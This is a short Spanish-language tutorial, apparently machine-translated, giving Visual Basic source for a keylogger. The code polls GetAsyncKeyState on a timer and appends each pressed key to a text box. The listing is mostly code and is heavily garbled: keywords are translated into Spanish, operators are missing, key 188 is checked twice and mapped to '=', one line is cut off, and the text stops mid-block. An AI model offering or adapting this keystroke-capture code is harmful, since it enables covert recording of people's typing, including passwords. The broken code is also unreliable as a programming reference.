Registrador de teclas de escritura VB
No es necesario utilizar enlaces globales para el registro de teclas. Si se usa incorrectamente, afectará seriamente la eficiencia del sistema; hay una función API en VB que puede implementar muy bien la función de registro de teclas. El código es el siguiente: Declaraciones en el. parte general: Función de declaración privada GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 'Declaración de función API tiempo tenue como entero Agregue 2 botones y 1 control de cuadro de texto. enable = falsecommand1.enable = truecommand2.enable = false form_load:
command1.enable = truecommand2.enable = falseAgregue un control de temporizador con la propiedad de intervalo establecida en 1000 y la propiedad de habilitación establecida en falso, y agregue el siguiente código: time = time 1if time = "10" thentimer1.enable = falsecommand1.enable = truecommand2.enable = falseelseFor i = 32 To 256
x = GetAsyncKeyState(i)
Si x = -32767 Entonces
Text1.Text = Text1.Text Chr(i)
Fin
x = GetAsyncKeyState(186)
Si x = -32767 Entonces
Texto1.Texto = Texto1.
Finalizar si
x = GetAsyncKeyState(187)
Si x = -32767 Entonces
Text1.Text = Text1.Text "="
Finalizar si
x = GetAsyncKeyState(188)
Si x = -32767 Entonces
Text1.Text = Text1.Text "="
Finalizar si
x = GetAsyncKeyState(188) p >
Si x = -32767 Entonces
Texto1.Texto = Texto1.Texto "="